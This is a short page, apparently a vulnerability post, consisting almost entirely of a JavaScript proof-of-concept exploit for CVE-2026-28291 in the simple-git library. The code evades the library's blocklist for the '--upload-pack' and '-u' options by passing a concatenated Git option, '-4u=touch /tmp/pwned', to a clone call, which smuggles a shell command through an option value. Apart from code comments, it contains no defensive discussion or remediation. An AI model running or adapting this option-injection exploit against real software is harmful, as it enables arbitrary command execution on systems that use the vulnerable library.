CVE-2026-28291 simple-git任意命令执行漏洞

// PoC for CVE-2026-28291: simple-git arbitrary command execution bypass // Vulnerable versions: <= 3.31.1 // The vulnerability allows bypassing the blocklist for unsafe options like '--upload-pack' // by using Git's flexible option parsing (e.g., -4u, -vu). const { simpleGit } = require('simple-git'); async function exploit() { const git = simpleGit(); const repoUrl = 'https://github.com/user/repo.git'; const targetDir = '/tmp/poc_repo'; // The library blocks '--upload-pack' and '-u' explicitly. // However, Git allows concatenating options. Attackers can use variants // that are not in the regex blocklist but are parsed by Git as -u. // Example: '-4u' might be interpreted by Git as options '-4' and '-u'. // Malicious payload: execute a command (e.g., touch /tmp/pwned) const maliciousOptions = ['-4u=touch /tmp/pwned']; try { console.log("Attempting to exploit via option obfuscation..."); await git.clone(repoUrl, targetDir, maliciousOptions); console.log("Exploit successful: Command executed via Git option bypass."); } catch (error) { console.error("Exploit failed or error occurred:", error); } } exploit();